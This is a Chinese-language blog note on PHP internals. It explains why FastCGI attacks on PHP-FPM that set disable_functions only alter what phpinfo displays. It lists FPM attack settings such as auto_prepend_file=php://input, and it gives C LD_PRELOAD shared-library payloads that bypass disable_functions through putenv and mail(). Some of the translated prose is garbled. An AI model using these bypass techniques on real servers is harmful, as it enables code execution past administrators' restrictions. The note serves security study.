PHP核心解析:关于fpm和df问题的思考
这篇文章是看了一篇文章《PHP内核分析-FPM和disable-function安全问题》的启发,然后从中学到了很多东西。文章已经很详细了,我就简单记录一下我的想法。文章如有错误,还望师傅指出。
简介
php中的Disable_function是从EG(ini_directives)中检索的,phpinfo是根据EG(ini_directives)检索并打印信息的。
然后使用函数 zend_disable_function() 禁用它。简单来说,就是通过 func->handler = ZEND_FN(display_disabled_function); 来修改 handler。
并且 phpinfo 一直是查看服务器 PHP 信息的可靠方法。然而,使用修改disable_function的参数攻击FPM后,phpinfo已经显示了修改,但测试功能仍然被禁用。在fpm攻击的配置中,EG(ini_directives)找到代表disable_functions的ini_entry,然后将值更改为我们提交的内容,phpinfo显示的值就来自这里。
要禁用的函数字符串也会传递给fpm_php_disable函数,然后调用zend_disable_function函数修改func->handler完成禁用。
所以当包含PHP_VALUE ==disable_function=的恶意FastCgi攻击FPM时,它只能改变显示phpinfo信息的EG(ini_directives)
,即。表面修改,对于已禁用的功能无效。但新功能可以通过 FPM 禁用。
总结
- disable_function 的本质是通过改变 func->handler 来完成功能的禁用。
- 包含 PHP_VALUE ==disable_function= 的恶意 FastCgi 攻击 FPM 时,只能修改显示 phpinfo 信息的 EG(ini_directives),这是表面修改。对于已禁用的功能无效,但可以通过 FPM 禁用它们。新功能。
- 攻击FPM的更常见和有效的选项是extension_dir +extension、open_basedir、allow_url_include = On + auto_prepend_file =php://input。
思考
然后我在网上看到了一个使用fpm绕过disable_function的介绍。那么它是如何实现的呢? ?底层到底是什么?
这是我的答案。 fpm 能够绕过 df 的原因是通过配置 PHP_VALUE ==extension_dir +extension 然后我们上传 then 来加载并执行。那为什么说阅读可以绕过呢? ? ?
这是因为 df 是模块初始化阶段的最后一步,因此在此之前加载。可能是这个rce造成的(图片来自上面的文章)
下面就清楚了。
所以我可以绕过它,然后我想到了师傅的文章。
LD_PRELOAD 和 putenv 的组合意味着在调用其他文件之前会先调用 LD_PRELOAD 环境变量指定的路径的文件(也是 so 文件),而 putenv 可以设置环境变量。 (图片来自一叶飘零师傅文章)
一叶飘零师傅文章介绍了某个php函数。我认为是一个在执行过程中可以fork子进程的函数(启动外部程序并且可以执行的函数)然后我们fork子进程,重写,完成rce。
例如:mail('','','','');
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so
还有函数 imap_mail()、mb_send_mail() 和 error_log() 等。 ❀The 是一个开发版本
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
其中__attribute__ ((__constructor__))
有如下描述
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
1.它在加载共享库时运行,通常在程序启动时运行。//putenv("LD_PRELOAD=hack.so");
2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行,通常在程序退出时运行。
所以我们不需要找函数来触发。
版权声明
本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。